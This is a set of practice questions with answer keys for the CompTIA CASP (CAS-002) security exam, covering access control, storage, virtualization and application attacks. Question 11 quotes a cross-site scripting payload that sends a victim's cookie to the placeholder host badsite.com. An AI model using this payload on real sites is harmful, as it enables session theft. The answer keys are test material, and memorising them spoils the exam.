

# CompTIA

## CAS-002 Exam

### CompTIA Advanced Security Practitioner (CASP) Exam



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## Version: 10.0

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### Question: 1

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An administrator wants to enable policy based flexible mandatory access controls on an open source OS to prevent abnormal application modifications or executions. Which of the following would BEST accomplish this?

- A. Access control lists
- B. SELinux
- C. IPtables firewall
- D. HIPS

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**Answer: B**

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### Question: 2

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Company ABC's SAN is nearing capacity, and will cause costly downtimes if servers run out disk space. Which of the following is a more cost effective alternative to buying a new SAN?

- A. Enable multipath to increase availability
- B. Enable deduplication on the storage pools
- C. Implement snapshots to reduce virtual disk size
- D. Implement replication to offsite datacenter

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**Answer: B**

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### Question: 3

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A systems administrator establishes a CIFS share on a UNIX device to share data to Windows systems. The security authentication on the Windows domain is set to the highest level. Windows users are stating that they cannot authenticate to the UNIX share. Which of the following settings on the UNIX server would correct this problem?

- A. Refuse LM and only accept NTLMv2
- B. Accept only LM
- C. Refuse NTLMv2 and accept LM
- D. Accept only NTLM

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**Answer: A**

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### Question: 4

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A security architect is designing a new infrastructure using both type 1 and type 2 virtual machines.

In addition to the normal complement of security controls (e.g. antivirus, host hardening, HIPS/NIDS) the security architect needs to implement a mechanism to securely store cryptographic keys used to sign code and code modules on the VMs. Which of the following will meet this goal without requiring any hardware pass-through implementations?

- A. vTPM
- B. HSM
- C. TPM
- D. INE

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**Answer: A**

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**Question: 5**

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A user has a laptop configured with multiple operating system installations. The operating systems are all installed on a single SSD, but each has its own partition and logical volume. Which of the following is the BEST way to ensure confidentiality of individual operating system data?

- A. Encryption of each individual partition
- B. Encryption of the SSD at the file level
- C. FDE of each logical volume on the SSD
- D. FDE of the entire SSD as a single disk

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**Answer: A**

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**Question: 6**

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After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web based shopping cart.

```
SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT);
```

The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the \$USERINPUT variable and a timestamp in the form of MM-DD-YYYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which of the following is MOST likely being exploited to manipulate the price of a shopping cart's items?

- A. Input validation
- B. SQL injection
- C. TOCTOU
- D. Session hijacking

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**Answer: C**

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**Question: 7**

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The administrator is troubleshooting availability issues on an FCoE-based storage array that uses deduplication. The single controller in the storage array has failed, so the administrator wants to move the drives to a storage array from a different manufacturer in order to access the data.

a. Which of the following issues may potentially occur?

- A. The data may not be in a usable format.
- B. The new storage array is not FCoE based.
- C. The data may need a file system check.
- D. The new storage array also only has a single controller.

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**Answer: A**

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**Question: 8**

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Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim's privilege level. The browser crashes due to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?

- A. Integer overflow
- B. Click-jacking
- C. Race condition
- D. SQL injection
- E. Use after free
- F. Input validation

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**Answer: E**

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**Question: 9**

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A developer is determining the best way to improve security within the code being developed. The developer is focusing on input fields where customers enter their credit card details. Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input?

- A. Client side input validation
- B. Stored procedure
- C. Encrypting credit card details
- D. Regular expression matching

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**Answer: D**

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**Question: 10**

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A security administrator was doing a packet capture and noticed a system communicating with an unauthorized address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of the network. Which of the following is the BEST course of action?

- A. Investigate the network traffic and block UDP port 3544 at the firewall
- B. Remove the system from the network and disable IPv6 at the router
- C. Locate and remove the unauthorized 6to4 relay from the network
- D. Disable the switch port and block the 2001::/32 traffic at the firewall

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**Answer: A**

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### Question: 11

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A security administrator notices the following line in a server's security log:

```
<input name='credentials' type='TEXT' value='' +
request.getParameter('><script>document.location='http://badsite.com/?q='document.cookie</scri
pt>') + '';
```

The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?

- A. WAF
- B. Input validation
- C. SIEM
- D. Sandboxing
- E. DAM

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**Answer: A**

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### Question: 12

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A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual machines, this virtual hardware is indistinguishable from real hardware. By implementing virtualized TPMs, which of the following trusted system concepts can be implemented?

- A. Software-based root of trust
- B. Continuous chain of trust
- C. Chain of trust with a hardware root of trust
- D. Software-based trust anchor with no root of trust

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**Answer: C**

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### Question: 13

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An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the following options increases data availability in the event of a datacenter failure?

- A. Replicate NAS changes to the tape backups at the other datacenter.
- B. Ensure each server has two HBAs connected through two routes to the NAS.
- C. Establish deduplication across diverse storage paths.
- D. Establish a SAN that replicates between datacenters.

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**Answer: D**

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### Question: 14

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An application present on the majority of an organization's 1,000 systems is vulnerable to a buffer overflow attack. Which of the following is the MOST comprehensive way to resolve the issue?

- A. Deploy custom HIPS signatures to detect and block the attacks.
- B. Validate and deploy the appropriate patch.
- C. Run the application in terminal services to reduce the threat landscape.
- D. Deploy custom NIPS signatures to detect and block the attacks.

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**Answer: B**

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### Question: 15

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```
select id, firstname, lastname from authors
```

```
User input= firstname= Hack;man
```

```
      lastname=Johnson
```

Which of the following types of attacks is the user attempting?

- A. XML injection
- B. Command injection
- C. Cross-site scripting
- D. SQL injection

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**Answer: D**

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### Question: 16

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A government agency considers confidentiality to be of utmost importance and availability issues to be of least importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST important to LEAST important?

- A. Insecure direct object references, CSRF, Smurf
- B. Privilege escalation, Application DoS, Buffer overflow
- C. SQL injection, Resource exhaustion, Privilege escalation
- D. CSRF, Fault injection, Memory leaks

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**Answer: A**

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**Question: 17**

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A security administrator wants to deploy a dedicated storage solution which is inexpensive, can natively integrate with AD, allows files to be selectively encrypted and is suitable for a small number of users at a satellite office. Which of the following would BEST meet the requirement?

- A. SAN
- B. NAS
- C. Virtual SAN
- D. Virtual storage

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**Answer: B**

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**Question: 18**

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At 9:00 am each morning, all of the virtual desktops in a VDI implementation become extremely slow and/or unresponsive. The outage lasts for around 10 minutes, after which everything runs properly again. The administrator has traced the problem to a lab of thin clients that are all booted at 9:00 am each morning. Which of the following is the MOST likely cause of the problem and the BEST solution? (Select TWO).

- A. Add guests with more memory to increase capacity of the infrastructure.
- B. A backup is running on the thin clients at 9am every morning.
- C. Install more memory in the thin clients to handle the increased load while booting.
- D. Booting all the lab desktops at the same time is creating excessive I/O.
- E. Install 10-Gb uplinks between the hosts and the lab to increase network capacity.
- F. Install faster SSD drives in the storage system used in the infrastructure.
- G. The lab desktops are saturating the network while booting.
- H. The lab desktops are using more memory than is available to the host systems.

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**Answer: D, F**

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**Question: 19**

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A security administrator is shown the following log excerpt from a Unix system:

```
2013 Oct 10 07:14:57 web14 sshd[1632]: Failed password for root from 198.51.100.23 port 37914 ssh2
2013 Oct 10 07:14:57 web14 sshd[1635]: Failed password for root from 198.51.100.23 port 37915 ssh2
2013 Oct 10 07:14:58 web14 sshd[1638]: Failed password for root from 198.51.100.23 port 37916 ssh2
2013 Oct 10 07:15:59 web14 sshd[1640]: Failed password for root from 198.51.100.23 port 37918 ssh2
2013 Oct 10 07:16:00 web14 sshd[1641]: Failed password for root from 198.51.100.23 port 37920 ssh2
2013 Oct 10 07:16:00 web14 sshd[1642]: Successful login for root from 198.51.100.23 port 37924 ssh2
```

Which of the following is the MOST likely explanation of what is occurring and the BEST immediate response? (Select TWO).

- A. An authorized administrator has logged into the root account remotely.
- B. The administrator should disable remote root logins.
- C. Isolate the system immediately and begin forensic analysis on the host.
- D. A remote attacker has compromised the root account using a buffer overflow in sshd.
- E. A remote attacker has guessed the root password using a dictionary attack.
- F. Use iptables to immediately DROP connections from the IP 198.51.100.23.
- G. A remote attacker has compromised the private key of the root account.
- H. Change the root password immediately to a password not found in a dictionary.

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**Answer: C, E**

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**Question: 20**

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A security administrator wants to prevent sensitive data residing on corporate laptops and desktops from leaking outside of the corporate network. The company has already implemented full-disk encryption and has disabled all peripheral devices on its desktops and laptops. Which of the following additional controls MUST be implemented to minimize the risk of data leakage? (Select TWO).

- A. A full-system backup should be implemented to a third-party provider with strong encryption for data in transit.
- B. A DLP gateway should be installed at the company border.
- C. Strong authentication should be implemented via external biometric devices.
- D. Full-tunnel VPN should be required for all network communication.
- E. Full-drive file hashing should be implemented with hashes stored on separate storage.
- F. Split-tunnel VPN should be enforced when transferring sensitive data.

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**Answer: B, D**

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